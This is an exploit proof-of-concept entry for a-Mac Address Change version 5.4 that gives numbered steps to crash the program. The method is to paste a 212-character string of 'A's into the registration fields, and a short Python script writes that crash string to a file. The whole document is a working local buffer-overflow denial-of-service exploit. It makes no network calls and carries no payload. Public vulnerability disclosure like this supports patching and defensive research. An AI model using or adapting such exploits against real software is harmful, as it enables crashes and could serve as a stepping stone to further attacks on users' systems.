a-Mac Address Change 5.4 Denial Of Service

`# Exploit Title: a-Mac Address Change v5.4 - Denial of Service (PoC)  
# Discovery by: Rafael Pedrero  
# Discovery Date: 2019-01-30  
# Vendor Homepage: http://amac.paqtool.com/  
# Software Link : http://amac.paqtool.com/  
# Tested Version: 5.4  
# Tested on: Windows XP SP3  
# Vulnerability Type: Denial of Service (DoS) Local Buffer Overflow  
  
# Steps to Produce the Crash:  
# 1.- Run amac.exe  
# 2.- copy content amac_Crash.txt or 212 "A" to clipboard (result from this python script)  
# 3.- Go to Register - Amac Register Form and paste the result in all fields: "Your Name", "Your Company", "Register Code"  
# 4.- Click in Register button and you will see a crash.  
  
#!/usr/bin/env python  
  
crash = "\x41" * 212  
f = open ("amac_Crash.txt", "w")  
f.write(crash)  
f.close()  
`